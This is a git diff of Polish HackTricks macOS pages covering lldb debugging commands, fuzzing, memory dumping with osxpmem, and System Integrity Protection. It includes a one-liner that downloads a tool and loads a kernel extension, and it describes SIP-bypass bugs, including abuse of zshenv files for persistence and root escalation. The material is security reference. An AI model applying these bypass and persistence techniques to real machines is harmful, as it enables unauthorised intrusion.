0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako łańcuch zakończony zerem.</td></tr><tr><td><strong>x/i <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako instrukcję asemblera.</td></tr><tr><td><strong>x/b <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako bajt.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>To wydrukuje obiekt wskazywany przez parametr</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Należy zauważyć, że większość API lub metod Objective-C firmy Apple zwraca obiekty, a zatem powinny być wyświetlane za pomocą komendy “print object” (po). Jeśli po nie produkuje sensownego wyniku, użyj <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Zapisz AAAA w tym adresie<br>memory write -f s $rip+0x11f+7 "AAAA" #Zapisz AAAA w adresie</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas bieżącą funkcję</p><p>dis -n <funcname> #Disas funkcję</p><p>dis -n <funcname> -b <basename> #Disas funkcję<br>dis -c 6 #Disas 6 linii<br>dis -c 0x100003764 -e 0x100003768 # Od jednego adresu do drugiego<br>dis -p -c 4 # Rozpocznij w bieżącym adresie disassembling</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Sprawdź tablicę 3 komponentów w rejestrze x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Wydrukuj mapę pamięci bieżącego procesu</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Uzyskaj adres wszystkich symboli z CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komenda</strong></td><td><strong>Opis</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Rozpoczęcie wykonania, które będzie kontynuowane, aż do osiągnięcia punktu przerwania lub zakończenia procesu.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Rozpocznij wykonanie zatrzymując się w punkcie wejścia</td></tr><tr><td><strong>continue (c)</strong></td><td>Kontynuuj wykonanie debugowanego procesu.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Wykonaj następną instrukcję. Ta komenda pominie wywołania funkcji.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Wykonaj następną instrukcję. W przeciwieństwie do komendy nexti, ta komenda wejdzie w wywołania funkcji.</td></tr><tr><td><strong>finish (f)</strong></td><td>Wykonaj resztę instrukcji w bieżącej funkcji (“ramce”), zwróć i zatrzymaj.</td></tr><tr><td><strong>control + c</strong></td><td>Wstrzymaj wykonanie. Jeśli proces był uruchomiony (r) lub kontynuowany (c), spowoduje to zatrzymanie procesu ...gdziekolwiek aktualnie się wykonuje.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Każda funkcja o nazwie main</p><p><code>b <binname>`main</code> #Funkcja main bin</p><p><code>b set -n main --shlib <lib_name></code> #Funkcja main wskazanej bin</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Każda metoda NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Zatrzymaj w wszystkich funkcjach tej biblioteki</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista punktów przerwania</p><p><code>br e/dis <num></code> #Włącz/Wyłącz punkt przerwania</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Uzyskaj pomoc dotyczącą komendy punktu przerwania</p><p>help memory write #Uzyskaj pomoc w zapisywaniu do pamięci</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako łańcuch zakończony znakiem null.</td></tr><tr><td><strong>x/i <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako instrukcję asemblera.</td></tr><tr><td><strong>x/b <reg/adres pamięci></strong></td><td>Wyświetl pamięć jako bajt.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>To wydrukuje obiekt wskazywany przez parametr</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Należy zauważyć, że większość API lub metod Objective-C firmy Apple zwraca obiekty, a zatem powinny być wyświetlane za pomocą komendy “print object” (po). Jeśli po nie produkuje sensownego wyniku, użyj <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Zapisz AAAA w tym adresie<br>memory write -f s $rip+0x11f+7 "AAAA" #Zapisz AAAA w adresie</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas bieżącą funkcję</p><p>dis -n <funcname> #Disas funkcję</p><p>dis -n <funcname> -b <basename> #Disas funkcję<br>dis -c 6 #Disas 6 linii<br>dis -c 0x100003764 -e 0x100003768 # Od jednego adresu do drugiego<br>dis -p -c 4 # Rozpocznij w bieżącym adresie disassembling</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Sprawdź tablicę 3 komponentów w rejestrze x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Wydrukuj mapę pamięci bieżącego procesu</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Uzyskaj adres wszystkich symboli z CoreNLP</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Podczas wywoływania funkcji **`objc_sendMsg`**, rejestr **rsi** zawiera **nazwę metody** jako łańcuch zakończony zerem (“C”). Aby wydrukować nazwę za pomocą lldb, zrób:
|
||||
Podczas wywoływania funkcji **`objc_sendMsg`**, rejestr **rsi** zawiera **nazwę metody** jako łańcuch zakończony znakiem null (“C”). Aby wydrukować nazwę za pomocą lldb, wykonaj:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -541,7 +528,7 @@ Podczas fuzzingu w MacOS ważne jest, aby nie pozwolić Macowi na uśpienie:
|
|||
|
||||
#### Rozłączenie SSH
|
||||
|
||||
Jeśli fuzzujesz przez połączenie SSH, ważne jest, aby upewnić się, że sesja nie wygaśnie. Zmień więc plik sshd\_config na:
|
||||
Jeśli fuzzujesz przez połączenie SSH, ważne jest, aby upewnić się, że sesja nie zostanie zakończona. Zmień więc plik sshd\_config na:
|
||||
|
||||
* TCPKeepAlive Yes
|
||||
* ClientAliveInterval 0
|
||||
|
@ -631,29 +618,17 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **malware kradnące dane**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z malware kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,44 @@
|
|||
# Zrzucanie pamięci w macOS
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępnij sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
### Swap Files
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Pliki wymiany, takie jak `/private/var/vm/swapfile0`, służą jako **bufory, gdy pamięć fizyczna jest pełna**. Gdy nie ma już miejsca w pamięci fizycznej, jej dane są przenoszone do pliku wymiany, a następnie przywracane do pamięci fizycznej w razie potrzeby. Może być obecnych wiele plików wymiany, o nazwach takich jak swapfile0, swapfile1 itd.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Plik znajdujący się w `/private/var/vm/sleepimage` jest kluczowy podczas **trybu hibernacji**. **Dane z pamięci są przechowywane w tym pliku, gdy OS X hibernuje**. Po obudzeniu komputera system odzyskuje dane pamięci z tego pliku, co pozwala użytkownikowi kontynuować tam, gdzie przerwał.
|
||||
|
||||
***
|
||||
Warto zauważyć, że w nowoczesnych systemach MacOS ten plik jest zazwyczaj szyfrowany z powodów bezpieczeństwa, co utrudnia odzyskiwanie.
|
||||
|
||||
## Artefakty pamięci
|
||||
* Aby sprawdzić, czy szyfrowanie jest włączone dla sleepimage, można uruchomić polecenie `sysctl vm.swapusage`. Pokaże to, czy plik jest szyfrowany.
|
||||
|
||||
### Pliki wymiany
|
||||
### Memory Pressure Logs
|
||||
|
||||
Pliki wymiany, takie jak `/private/var/vm/swapfile0`, służą jako **bufory, gdy pamięć fizyczna jest pełna**. Gdy nie ma już miejsca w pamięci fizycznej, jej dane są przenoszone do pliku wymiany, a następnie przywracane do pamięci fizycznej w razie potrzeby. Może być obecnych wiele plików wymiany o nazwach takich jak swapfile0, swapfile1, itd.
|
||||
Innym ważnym plikiem związanym z pamięcią w systemach MacOS jest **dziennik ciśnienia pamięci**. Dzienniki te znajdują się w `/var/log` i zawierają szczegółowe informacje o użyciu pamięci przez system oraz zdarzeniach ciśnienia. Mogą być szczególnie przydatne do diagnozowania problemów związanych z pamięcią lub zrozumienia, jak system zarządza pamięcią w czasie.
|
||||
|
||||
### Obraz hibernacji
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
Plik znajdujący się w `/private/var/vm/sleepimage` jest kluczowy podczas trybu **hibernacji**. **Dane z pamięci są przechowywane w tym pliku podczas hibernacji systemu OS X**. Po obudzeniu komputera system odzyskuje dane pamięci z tego pliku, pozwalając użytkownikowi kontynuować tam, gdzie skończył.
|
||||
Aby zrzucić pamięć w maszynie MacOS, można użyć [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
Warto zauważyć, że w nowoczesnych systemach MacOS ten plik jest zazwyczaj szyfrowany ze względów bezpieczeństwa, co utrudnia odzyskanie danych.
|
||||
|
||||
* Aby sprawdzić, czy szyfrowanie jest włączone dla sleepimage, można uruchomić polecenie `sysctl vm.swapusage`. Pokaże to, czy plik jest zaszyfrowany.
|
||||
|
||||
### Dzienniki ciśnienia pamięci
|
||||
|
||||
Innym ważnym plikiem związanym z pamięcią w systemach MacOS są **dzienniki ciśnienia pamięci**. Te dzienniki znajdują się w `/var/log` i zawierają szczegółowe informacje o użyciu pamięci systemu i zdarzeniach związanych z ciśnieniem pamięci. Mogą być szczególnie przydatne do diagnozowania problemów związanych z pamięcią lub zrozumienia sposobu zarządzania pamięcią przez system w czasie.
|
||||
|
||||
## Zrzucanie pamięci za pomocą osxpmem
|
||||
|
||||
Aby zrzucić pamięć w maszynie z systemem MacOS, można użyć [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Uwaga**: Poniższe instrukcje będą działać tylko dla komputerów Mac z architekturą Intel. To narzędzie jest teraz zarchiwizowane, a ostatnie wydanie miało miejsce w 2017 roku. Pobrany binarny plik za pomocą poniższych instrukcji jest przeznaczony dla chipów Intel, ponieważ Apple Silicon nie istniał w 2017 roku. Możliwe jest skompilowanie binarnego pliku dla architektury arm64, ale będziesz musiał spróbować samodzielnie.
|
||||
**Uwaga**: Poniższe instrukcje będą działać tylko na Macach z architekturą Intel. To narzędzie jest teraz archiwizowane, a ostatnia wersja została wydana w 2017 roku. Pobrany binarny plik za pomocą poniższych instrukcji jest skierowany na chipy Intel, ponieważ Apple Silicon nie istniał w 2017 roku. Może być możliwe skompilowanie binarnego pliku dla architektury arm64, ale będziesz musiał spróbować samodzielnie.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
Jeśli napotkasz ten błąd: `osxpmem.app/MacPmem.kext nie udało się załadować - (libkern/kext) błąd uwierzytelniania (własność pliku/uprawnienia); sprawdź dzienniki systemowe/jądra w poszukiwaniu błędów lub spróbuj kextutil(8)` Możesz to naprawić wykonując:
|
||||
Jeśli napotkasz ten błąd: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Możesz to naprawić, wykonując:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Inne błędy** można naprawić, **zezwalając na załadowanie kext** w "Bezpieczeństwo i prywatność --> Ogólne", po prostu **zezwól** na to.
|
||||
**Inne błędy** mogą być naprawione przez **zezwolenie na załadowanie kext** w "Bezpieczeństwo i prywatność --> Ogólne", po prostu **zezwól** na to.
|
||||
|
||||
Możesz także użyć tego **onelinera** do pobrania aplikacji, załadowania kext i zrzucenia pamięci:
|
||||
Możesz również użyć tego **onelinera**, aby pobrać aplikację, załadować kext i zrzucić pamięć:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
|
@ -47,7 +34,7 @@ Rozważ poniższy przykład:
|
|||
* /usr/local
|
||||
* /usr/share/man
|
||||
```
|
||||
Ten fragment sugeruje, że chociaż SIP ogólnie zabezpiecza katalog **`/usr`**, istnieją konkretne podkatalogi (`/usr/libexec/cups`, `/usr/local` i `/usr/share/man`), w których modyfikacje są dozwolone, co wskazuje gwiazdka (\*) poprzedzająca ich ścieżki.
|
||||
Ten fragment sugeruje, że chociaż SIP generalnie zabezpiecza katalog **`/usr`**, istnieją konkretne podkatalogi (`/usr/libexec/cups`, `/usr/local` i `/usr/share/man`), w których modyfikacje są dozwolone, co wskazuje gwiazdka (\*) poprzedzająca ich ścieżki.
|
||||
|
||||
Aby sprawdzić, czy katalog lub plik jest chroniony przez SIP, możesz użyć polecenia **`ls -lOd`**, aby sprawdzić obecność flagi **`restricted`** lub **`sunlnk`**. Na przykład:
|
||||
```bash
|
||||
|
@ -65,14 +52,14 @@ Tutaj flaga **`restricted`** wskazuje, że katalog `/usr/libexec` jest chroniony
|
|||
|
||||
Ponadto, jeśli plik zawiera atrybut **`com.apple.rootless`** jako rozszerzony **atrybut**, ten plik również będzie **chroniony przez SIP**.
|
||||
|
||||
**SIP ogranicza także inne działania roota**, takie jak:
|
||||
**SIP ogranicza również inne działania roota**, takie jak:
|
||||
|
||||
* Ładowanie nieufnych rozszerzeń jądra
|
||||
* Uzyskiwanie portów zadań dla procesów podpisanych przez Apple
|
||||
* Modyfikowanie zmiennych NVRAM
|
||||
* Umożliwianie debugowania jądra
|
||||
|
||||
Opcje są przechowywane w zmiennej nvram jako bitflag (`csr-active-config` na Intel i `lp-sip0` jest odczytywane z uruchomionego drzewa urządzeń dla ARM). Flagi można znaleźć w kodzie źródłowym XNU w `csr.sh`:
|
||||
Opcje są przechowywane w zmiennej nvram jako bitflaga (`csr-active-config` na Intel i `lp-sip0` jest odczytywane z uruchomionego drzewa urządzeń dla ARM). Flagi można znaleźć w kodzie źródłowym XNU w `csr.sh`:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -131,17 +118,17 @@ Jeśli pakiet był instalowany z zamontowanego obrazu lub zewnętrznego dysku, *
|
|||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
[**Badacze z tego wpisu na blogu**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) odkryli lukę w mechanizmie Ochrony Integralności Systemu (SIP) w macOS, nazwaną luką 'Shrootless'. Ta luka koncentruje się na demonie **`system_installd`**, który ma uprawnienie **`com.apple.rootless.install.heritable`**, które pozwala dowolnym jego procesom potomnym na obejście ograniczeń systemu plików SIP.
|
||||
[**Badacze z tego wpisu na blogu**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) odkryli lukę w mechanizmie Ochrony Integralności Systemu (SIP) macOS, nazwaną luką 'Shrootless'. Ta luka koncentruje się na demonie **`system_installd`**, który ma uprawnienie **`com.apple.rootless.install.heritable`**, które pozwala dowolnym jego procesom potomnym na obejście ograniczeń systemu plików SIP.
|
||||
|
||||
Demon **`system_installd`** zainstaluje pakiety, które zostały podpisane przez **Apple**.
|
||||
|
||||
Badacze odkryli, że podczas instalacji pakietu podpisanego przez Apple (.pkg), **`system_installd`** **uruchamia** wszelkie **skrypty po instalacji** zawarte w pakiecie. Te skrypty są wykonywane przez domyślną powłokę, **`zsh`**, która automatycznie **uruchamia** polecenia z pliku **`/etc/zshenv`**, jeśli istnieje, nawet w trybie nieinteraktywnym. To zachowanie mogłoby być wykorzystane przez atakujących: tworząc złośliwy plik `/etc/zshenv` i czekając na **`system_installd`, aby wywołać `zsh`**, mogliby przeprowadzać dowolne operacje na urządzeniu.
|
||||
|
||||
Ponadto odkryto, że **`/etc/zshenv`** mogłoby być używane jako ogólna technika ataku, nie tylko do obejścia SIP. Każdy profil użytkownika ma plik `~/.zshenv`, który zachowuje się tak samo jak `/etc/zshenv`, ale nie wymaga uprawnień roota. Plik ten mógłby być używany jako mechanizm trwałości, uruchamiając się za każdym razem, gdy `zsh` się uruchamia, lub jako mechanizm podwyższenia uprawnień. Jeśli użytkownik administracyjny podniesie uprawnienia do roota, używając `sudo -s` lub `sudo <polecenie>`, plik `~/.zshenv` zostanie uruchomiony, skutecznie podnosząc uprawnienia do roota.
|
||||
Ponadto odkryto, że **`/etc/zshenv`** mogłoby być używane jako ogólna technika ataku, nie tylko do obejścia SIP. Każdy profil użytkownika ma plik `~/.zshenv`, który zachowuje się tak samo jak `/etc/zshenv`, ale nie wymaga uprawnień roota. Plik ten mógłby być używany jako mechanizm trwałości, uruchamiając się za każdym razem, gdy `zsh` się uruchamia, lub jako mechanizm podwyższenia uprawnień. Jeśli użytkownik administracyjny podniesie uprawnienia do roota za pomocą `sudo -s` lub `sudo <polecenie>`, plik `~/.zshenv` zostanie uruchomiony, skutecznie podnosząc uprawnienia do roota.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
W [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) odkryto, że ten sam proces **`system_installd`** mógł być nadal nadużywany, ponieważ umieszczał **skrypt po instalacji w losowo nazwanym folderze chronionym przez SIP w `/tmp`**. Problem polega na tym, że **`/tmp`** sam w sobie nie jest chroniony przez SIP, więc możliwe było **zamontowanie** **wirtualnego obrazu na nim**, a następnie **instalator** umieściłby tam **skrypt po instalacji**, **odmontował** wirtualny obraz, **odtworzył** wszystkie **foldery** i **dodał** **skrypt po instalacji** z **ładunkiem** do wykonania.
|
||||
W [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) odkryto, że ten sam proces **`system_installd`** mógł być nadal nadużywany, ponieważ umieszczał **skrypt po instalacji w losowo nazwanym folderze chronionym przez SIP w `/tmp`**. Problem polega na tym, że **`/tmp` sam w sobie nie jest chroniony przez SIP**, więc możliwe było **zamontowanie** **obrazu wirtualnego na nim**, a następnie **instalator** umieściłby tam **skrypt po instalacji**, **odmontował** obraz wirtualny, **odtworzył** wszystkie **foldery** i **dodał** **skrypt po instalacji** z **ładunkiem** do wykonania.
|
||||
|
||||
